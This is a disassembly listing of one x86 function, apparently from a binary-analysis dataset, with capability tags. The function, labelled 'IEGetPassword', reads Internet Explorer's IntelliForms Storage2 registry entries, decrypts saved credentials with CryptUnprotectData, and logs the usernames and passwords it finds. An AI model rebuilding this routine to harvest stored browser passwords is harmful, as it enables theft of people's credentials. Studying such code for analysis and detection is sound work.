Function at 0x412567
Capabilities:
Encrypt data using dpapi
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x13f8
call fcn.005fec20
mov eax, dword [0x708c34]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push esi
push edi
push str.IEGetPassword
push str._s_for_url__s___hash__ws
mov dword [ebp - 0x13e0], esi
call fcn.00449974
push str.Explorer
push str.Internet
push str.Microsoft
push str.Software
push 0x67da60
lea eax, [ebp - 0x3ec]
push 0x3e8
push eax
call fcn.00445d6d
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x13d0]
add esp, 0x2c
push eax
push 9
push 0
lea eax, [ebp - 0x3ec]
push eax
push SysReAllocString
call ebx
test eax, eax
je 0x412604
push str.IEGetPassword
push str._s_:__Failed_to_open_registry_key_SoftwareMicrosoftInternet_Explorer
call fcn.00449974
pop ecx
pop ecx
jmp 0x41290a
push str.orage
push 0x67dac0
push str.elliFo
push 0x67dacc
push str._s_s_sSt_s2
lea eax, [ebp - 0x7d4]
push 0x3e8
push eax
call fcn.00445d6d
add esp, 0x1c
lea eax, [ebp - 0x13c0]
push eax
push 9
push 0
lea eax, [ebp - 0x7d4]
push eax
push dword [ebp - 0x13d0]
call ebx
test eax, eax
je 0x41265b
push str.IEGetPassword
push str._s_:__Failed_to_open_registry_key_SoftwareMicrosoftInternet_ExplorerIntelliFormsStorage2
jmp 0x4125f8
lea eax, [ebp - 0x13c4]
push eax
push 0
lea eax, [ebp - 0x13dc]
push eax
push 0
push esi
push dword [ebp - 0x13c0]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x4126a2
push edi
push str.IEGetPassword
push str._s_:__Failed_to_get_the_size_for_the_hash_value_for_the_URL__ws
call fcn.00449974
add esp, 0xc
push dword [ebp - 0x13c0]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x41290a
cmp dword [ebp - 0x13c4], 1
jae 0x4126b8
push edi
push str.IEGetPassword
push str._s_:__Hash_value_buffer_size_is_zero_for_the_URL__ws
jmp 0x412689
push dword [ebp - 0x13c4]
call fcn.004ca21f
pop ecx
mov ebx, eax
lea eax, [ebp - 0x13c4]
push eax
push ebx
lea eax, [ebp - 0x13dc]
mov dword [ebp - 0x13e8], ebx
push eax
push 0
push esi
push dword [ebp - 0x13c0]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x13c0]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x13c8], eax
call esi
push dword [ebp - 0x13d0]
call esi
mov esi, dword [ebp - 0x13c8]
test esi, esi
jne 0x4128f0
push ebx
call fcn.00631510
pop ecx
cmp eax, 1
jb 0x4128f0
mov eax, dword [ebp - 0x13c4]
push edi
mov dword [ebp - 0x13f4], ebx
mov dword [ebp - 0x13f8], eax
mov dword [ebp - 0x13ec], edi
call fcn.00630ba0
pop ecx
xor ecx, ecx
lea eax, [eax*2 + 2]
mov dword [ebp - 0x13f0], eax
lea eax, [ebp - 0x13d8]
push eax
push ecx
push ecx
push ecx
lea eax, [ebp - 0x13f0]
push eax
push ecx
lea eax, [ebp - 0x13f8]
push eax
call sub.CRYPT32.dll_CryptUnprotectData
test eax, eax
je 0x4128cb
push dword [ebp - 0x13d8]
push edi
push str.IEGetPassword
push str._n_n__s_:_Successfully_decrypted_the_credentials_for_URL__ws_of_length__d
call fcn.00449974
mov ecx, dword [ebp - 0x13d4]
add esp, 0x10
mov esi, ecx
mov eax, dword [esi + 8]
add eax, dword [esi + 4]
add eax, dword [ecx]
cmp dword [ebp - 0x13d8], eax
jb 0x4128c2
mov eax, dword [esi + 0x14]
shr eax, 1
push edi
push eax
push str.IEGetPassword
push str.__s_:_Found_total_secrets__d_for_URL__ws
mov dword [ebp - 0x13c8], eax
call fcn.00449974
mov ecx, dword [ebp - 0x13d4]
add esp, 0x10
mov edx, dword [esi + 4]
add edx, dword [esi]
add edx, ecx
cmp dword [ebp - 0x13c8], 0
lea eax, [ecx + 0x24]
mov dword [ebp - 0x13e4], edx
jbe 0x4128c2
mov ebx, dword [ebp - 0x13c8]
mov ecx, eax
mov eax, dword [ecx]
add ecx, 0x10
add eax, edx
mov dword [ebp - 0x13cc], ecx
push eax
push 0x67dc84
mov esi, dword [ecx]
lea eax, [ebp - 0x13bc]
push 0x400
push eax
add esi, edx
call fcn.00445d6d
push esi
push 0x67dc84
lea eax, [ebp - 0xfbc]
push 0x400
push eax
call fcn.00445d6d
lea eax, [ebp - 0xfbc]
push eax
lea eax, [ebp - 0x13bc]
push eax
push str.IEGetPassword
push str._s_:_username___s__password___s
call fcn.00449974
add esp, 0x30
lea eax, [ebp - 0xbbc]
xor esi, esi
push esi
push esi
push 0x3e8
push eax
push 0xffffffffffffffff
push edi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 2
push dword [ebp - 0x13e0]
lea eax, [ebp - 0xfbc]
push eax
lea eax, [ebp - 0x13bc]
push eax
lea eax, [ebp - 0xbbc]
push eax
push 0x66ae5d
push esi
push 1
call fcn.00412c85
mov ecx, dword [ebp - 0x13cc]
add esp, 0x20
mov edx, dword [ebp - 0x13e4]
add ecx, 0x10
sub ebx, 1
jne 0x4127f7
mov ecx, dword [ebp - 0x13d4]
mov ebx, dword [ebp - 0x13e8]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x4128e5
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
push str.IEGetPassword
push str._s_CryptUnprotectData_failed_to_decrypt_credentilas_for_URL_ws__Error0x_.8x
call fcn.00449974
add esp, 0x10
push ebx
call fcn.004ca228
jmp 0x4125fe
push esi
push edi
push str.IEGetPassword
push str._s_:__Failed_to_read_the_encrypted_contents_of_hash_for_the_URL__ws__Error0x_.8x
call fcn.00449974
push ebx
call fcn.004ca228
add esp, 0x14
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005fe955
leave
ret